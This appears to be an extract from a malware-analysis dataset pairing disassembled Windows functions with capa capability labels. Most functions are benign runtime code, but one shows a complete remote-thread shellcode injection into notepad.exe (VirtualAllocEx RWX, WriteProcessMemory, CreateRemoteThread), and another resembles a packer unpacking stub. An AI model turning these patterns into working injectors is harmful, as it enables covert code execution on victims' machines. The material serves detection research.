joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6da627f0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6da62800
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6da62810
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6da62851
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6da62848
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6da62853
add rax, 0x28
cmp rax, r9
jne 0x6da62834
xor eax, eax
ret

Function at 0x6da628f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6da7f1f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6da6295d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6da6295d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6da6295d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6da62954
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6da6295f
add rax, 0x28
cmp rax, r9
jne 0x6da62940
xor eax, eax
add rsp, 0x28
ret

Function at 0x6da62a60
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6da7f1f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6da62a80
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6da62a78
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6da62add
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6da62ad4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6da62ae4
add rax, 0x28
cmp rax, r9
jne 0x6da62ac0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6da62b00
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6da7f1f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6da62b6e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6da62b6e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6da62b6e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6da62b6e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6da62b65
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6da62b75
add rcx, 0x28
cmp rcx, rax
jne 0x6da62b50
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6da62b88
jmp 0x6da62b6e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6da62b96
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6da62b6e
test r9d, r9d
jg 0x6da62b80
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6da62ed0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140006a40
Capabilities:
Check if file exists

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
cmp qword [rcx], rdx
je 0x140006ab4
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, eax
mov rcx, rsi
call fcn.140006ad0
lea rax, [rdi + 1]
cmp rax, 2
jb case.default.0x140006aad
mov qword [rsi], rdi
call fcn.140006670
mov rbx, rax
mov r15, qword [rsp + 0x58]
call sym.plugin_container.exe_GetHandleVerifier
mov rbp, qword [rax]
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
mov r9, r15
call qword [rbp + 8]
mov ecx, r14d
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_SetLastError]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
stosd dword [rdi], eax
invalid
fcmovnb st(0), st(7)
lodsb al, byte [rsi]
stosb byte [rdi], al
int3
pushfq
enter 0x6c9e, 0xffffffffffffffbf
jp 0x140078c54
imul ebx, dword [rbp + 0x6fcafe0d], 0x52
call 0x155f88e45
pop rsi
sub al, 0xde
in al, 0xff
invalid
invalid

Function at 0x140006b40
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x140
mov rax, qword [0x14003f010]
xor rax, rsp
mov qword [rsp + 0x138], rax
test rdx, rdx
je 0x140006bd0
mov rsi, rdx
mov rdi, rcx
mov r13d, 0xffffffff
lea r14, str.z:_task_1579288126_build_src_security_sandbox_chromium_base_rand_util_win.cc
lea r15, str.success
lea r12, [rsp + 0x28]
jmp 0x140006b98
add rdi, rbx
sub rsi, rbx
je 0x140006bd0
cmp rsi, r13
mov ebx, 0xffffffff
cmovb rbx, rsi
mov rcx, rdi
mov edx, ebx
call sub.ADVAPI32.dll_SystemFunction036
test al, al
jne 0x140006b90
mov rcx, r12
mov rdx, r14
mov r8d, 0x20
mov r9, r15
call fcn.1400016f0
mov rcx, r12
call fcn.1400017f0
jmp 0x140006b90
mov rcx, qword [rsp + 0x138]
xor rcx, rsp
call fcn.1400365a0
nop
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x180003490
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x290
mov rax, qword [0x18003d1b0]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor ebp, ebp
lea rcx, [rsp + 0x28]
mov ebx, ebp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
call fcn.180006f30
lea rdx, str.luminati
lea rcx, [rsp + 0x28]
call fcn.180005e20
cmp dword [section..data], ebx
je 0x1800034fd
mov rcx, qword [rsp + 0x28]
call fcn.180006ba0
test eax, eax
jne 0x1800034fd
lea rcx, [rsp + 0x28]
call fcn.180003170
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x20]
call fcn.180005d00
lea rdx, [0x18002f5d8]
lea rcx, [rsp + 0x20]
call fcn.180005e20
mov rcx, qword [rsp + 0x20]
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
mov rsi, rax
cmove rsi, rbp
test rsi, rsi
je 0x180003653
mov qword [rsp + 0x2a0], rdi
nop dword [rax]
lea rdx, [0x18002f600]
lea rcx, [rsp + 0x5c]
call fcn.180005df0
test rax, rax
jne 0x1800035d7
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x20]
call fcn.180005d00
lea rdx, [0x18002f5d4]
lea rcx, [rsp + 0x20]
call fcn.180005e20
lea rdx, [rsp + 0x5c]
lea rcx, [rsp + 0x20]
call fcn.180005e20
mov edx, 1
lea ecx, [rdx + 0x17]
call fcn.180009994
mov rdx, qword [rsp + 0x20]
lea rcx, [rax + 0x10]
mov rdi, rax
call fcn.180005d00
test rbx, rbx
je 0x1800035cd
mov rcx, qword [rbx + 8]
mov qword [rdi + 8], rcx
mov qword [rbx + 8], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rdi
jmp 0x1800035d4
mov qword [rdi + 8], rdi
mov rbx, rdi
mov qword [rdi], rbp
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180003550
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
test rbx, rbx
je 0x18000364b
nop dword [rax + rax]
mov rcx, qword [rbx + 0x10]
call fcn.180009b18
mov rdi, rbx
mov rbx, qword [rbx]
mov rcx, qword [rdi]
test rcx, rcx
je 0x180003621
mov rax, qword [rdi + 8]
mov qword [rcx + 8], rax
jmp 0x18000362e
test rbx, rbx
je 0x18000362e
mov rax, qword [rdi + 8]
mov qword [rbx + 8], rax
lea rcx, [rdi + 0x10]
mov qword [rdi], rbp
mov qword [rdi + 8], rbp
call fcn.180005cb0
mov rcx, rdi
call fcn.1800099d8
test rbx, rbx
jne 0x180003600
mov rdi, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x20]
call fcn.180005cb0
lea rcx, [rsp + 0x28]
call fcn.180005cb0
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.180009cc0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsp, r11
pop rsi
ret
Function at 0x180003720
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rax, qword [0x18003edf0]
test rax, rax
jne 0x18000386b
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
call fcn.180006f30
lea rdx, [0x18002f810]
lea rcx, [rsp + 0x40]
call fcn.180005e20
mov rcx, qword [rsp + 0x40]
call fcn.180006b20
test eax, eax
je 0x180003846
mov rcx, qword [rsp + 0x40]
lea rdx, [0x18002f82c]
call fcn.180006a80
mov qword [rsp + 0x30], rax
test rax, rax
je 0x180003846
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x20], rbx
lea r8d, [rdx + 2]
call fcn.180008ae8
mov rcx, qword [rsp + 0x30]
call fcn.180008e70
mov rcx, qword [rsp + 0x30]
movsxd rbx, eax
call fcn.1800090e8
cmp ebx, 0x32
jg 0x180003841
lea rcx, [rsp + 0x38]
mov edx, ebx
call fcn.180005a40
mov r9, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov r8, rbx
mov edx, 1
call fcn.180008974
mov rax, qword [rsp + 0x38]
mov byte [rbx + rax], 0
mov rdx, qword [rsp + 0x38]
test rbx, rbx
jle 0x180003835
mov r9, rdx
mov r8, rdx
movabs r10, 0x21ffffff80ffd
neg r9
nop dword [rax + rax]
movzx ecx, byte [r8]
lea eax, [rcx - 0x2e]
cmp al, 0x31
ja 0x180003821
bt r10, rax
jb 0x180003829
sub cl, 0x61
cmp cl, 0x19
ja 0x180003841
inc r8
lea rax, [r9 + r8]
cmp rax, rbx
jl 0x180003810
lea rcx, [0x18003edf0]
call fcn.180005f00
mov rbx, qword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.180006af0
lea rcx, [rsp + 0x38]
call fcn.180005a80
lea rcx, [rsp + 0x40]
call fcn.180005cb0
mov rax, qword [0x18003edf0]
add rsp, 0x28
ret

Function at 0x180003b60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov r14, r8
lea r8, str.BINARY
movzx edx, dx
mov ebx, r9d
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbp, rax
test rax, rax
jne 0x180003ba5
imul eax, ebx, 0x64
inc eax
mov dword [0x18003e86c], eax
xor eax, eax
jmp 0x180003c03
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x180003bc6
imul eax, ebx, 0x64
add eax, 2
mov dword [0x18003e86c], eax
xor eax, eax
jmp 0x180003c03
mov rcx, rax
mov qword [rsp + 0x30], rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
jne 0x180003bec
imul eax, ebx, 0x64
add eax, 3
mov dword [0x18003e86c], eax
xor eax, eax
jmp 0x180003bfe
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [r14], eax
mov rax, rdi
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x180003cf0
Capabilities:
Move file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x40
imul edi, r9d, 0x64
mov rbx, r8
lea r8, [rbp + 0x38]
lea r9d, [rdi + 1]
or esi, 0xffffffff
mov qword [rbp - 0x10], 0
call fcn.180003b60
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov r14, rax
test rax, rax
je 0x180003e7f
lea rcx, [rbp - 0x20]
call fcn.180006f30
lea rdx, str.luminati
lea rcx, [rbp - 0x20]
call fcn.180005e20
cmp dword [section..data], 0
je 0x180003d78
mov rcx, qword [rbp - 0x20]
call fcn.180006ba0
test eax, eax
jne 0x180003d78
lea rcx, [rbp - 0x20]
call fcn.180003170
lea rdx, [0x18002f5fc]
lea rcx, [rbp - 0x20]
call fcn.180005e20
lea rcx, [rbp - 0x20]
mov rdx, rbx
call fcn.180005e20
mov rdx, qword [rbp - 0x20]
lea rcx, [rbp - 0x18]
call fcn.180005d00
lea rdx, str..old
lea rcx, [rbp - 0x18]
call fcn.180005e20
mov rcx, qword [rbp - 0x18]
call fcn.180009b18
mov rcx, qword [rbp - 0x20]
call fcn.180006b20
movsxd rbx, dword [rbp + 0x38]
test eax, eax
je 0x180003e1d
mov rcx, qword [rbp - 0x20]
mov r8d, ebx
mov rdx, r14
call fcn.180003c20
test eax, eax
jne 0x180003e7d
mov rcx, qword [rbp - 0x20]
call fcn.180009b18
mov rcx, qword [rbp - 0x20]
call fcn.180006b20
test eax, eax
je 0x180003e05
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x20]
call fcn.180009b20
mov rcx, qword [rbp - 0x20]
call fcn.180006b20
test eax, eax
je 0x180003e1d
lea eax, [rdi + 2]
mov dword [0x18003e86c], eax
jmp 0x180003e7f
mov rcx, qword [rbp - 0x20]
lea rdx, [0x18002f948]
call fcn.180006a80
mov qword [rbp - 0x10], rax
test rax, rax
jne 0x180003e5a
mov rcx, qword [rbp - 0x20]
lea rdx, [0x18002f958]
call fcn.180006a80
mov qword [rbp - 0x10], rax
test rax, rax
jne 0x180003e5a
lea eax, [rdi + 3]
mov dword [0x18003e86c], eax
jmp 0x180003e7f
mov r9, rax
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.180009058
cmp rax, rbx
je 0x180003e7d
lea eax, [rdi + 4]
mov dword [0x18003e86c], eax
jmp 0x180003e7f
xor esi, esi
lea rcx, [rbp - 0x20]
call fcn.180005cb0
lea rcx, [rbp - 0x18]
call fcn.180005cb0
lea rcx, [rbp - 0x10]
call fcn.180006af0
mov rbx, qword [rsp + 0x60]
mov eax, esi
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
pop rdi
pop rbp
ret
Function at 0x894da0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x894dad
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x894dbd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x894da5
lea eax, [rcx + 1]
jmp 0x894dcb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x894dde
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x894dc4
sub eax, 3
jb 0x894dfe
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x894e4d
sar eax, 1
movsxd rbp, eax
jb 0x894e34
jmp 0x894e0c
add ebx, ebx
jne 0x894e0a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x894e34
inc ecx
add ebx, ebx
jne 0x894e1a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x894e34
call r11
adc ecx, ecx
add ebx, ebx
jne 0x894e2d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x894e1c
add ecx, 2
jmp 0x894e39
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00894d62
jmp 0x894dad
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1a9000
mov dl, 0x24
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x894e99
cmp rsi, rcx
jae 0x894ea1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x894e80
cmp al, 0x8f
ja 0x894e80
cmp byte [rsi - 2], 0xf
je 0x894e86
sub al, 0xe8
cmp al, 1
ja 0x894e6a
cmp rsi, rcx
jae 0x894ea1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x894e70
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x894ea1
lodsb al, byte [rsi]
jmp 0x894e80
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x48d000]
mov eax, dword [rdi]
or eax, eax
je 0x894efe
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x494000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x894eae
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x894ef8
mov qword [rbx], rax
add rbx, 8
jmp 0x894ece
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x894f42
cmp al, 0xef
ja 0x894f2a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x894f0a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x894f19
mov eax, dword [rdi]
add rdi, 4
jmp 0x894f19
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x894f96
sub rsp, 0xffffffffffffff80
jmp 0x463160
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x280
lea rbp, [rsp + 0x80]
call fcn.1400016c0
lea rdx, [rbp + 0x180]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
pxor xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
movq qword [rbp + 0x170], xmm0
lea rax, [rbp + 0x160]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x180]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x4000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.C:WindowsSystem32_notepad.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
lea rax, [rbp - 0x30]
lea rdx, [0x140004040]
mov ecx, 0x31
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov eax, dword [rbp + 0x170]
mov r8d, eax
mov edx, 1
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1f8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x18a
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x1f0], rax
lea rcx, [rbp - 0x30]
mov rdx, qword [rbp + 0x1f0]
mov rax, qword [rbp + 0x1f8]
mov qword [rsp + 0x20], 0
mov r9d, 0x18a
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x1f0]
mov rax, qword [rbp + 0x1f8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x280
pop rsi
pop rdi
pop rbp
ret

Function at 0x1400018d0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400026f0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400026f0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140001940
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070a4]
mov rbx, rcx
test esi, esi
jle 0x140001a70
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000198b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a15
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001970
mov rcx, rbx
call fcn.140002390
mov rdi, rax
test rax, rax
je 0x140001a92
mov rax, qword [0x1400070a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400024d0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a77
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001a0e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001a20
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001a0e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400018d0
nop dword [rax]
xor esi, esi
jmp 0x140001998
mov rax, qword [0x1400070a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400018d0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400018d0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002000
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x14000205c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002053
test rsi, rsi
je 0x140002053
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002038
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002390
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004570]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400023b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400023b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400023b0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000240d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002404
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400023b0
add rax, 0x28
cmp rax, r9
jne 0x1400023f0
xor eax, eax
ret

Function at 0x140002410
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004570]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000242f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002438
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000242f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004570]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400024ef
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400024f8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret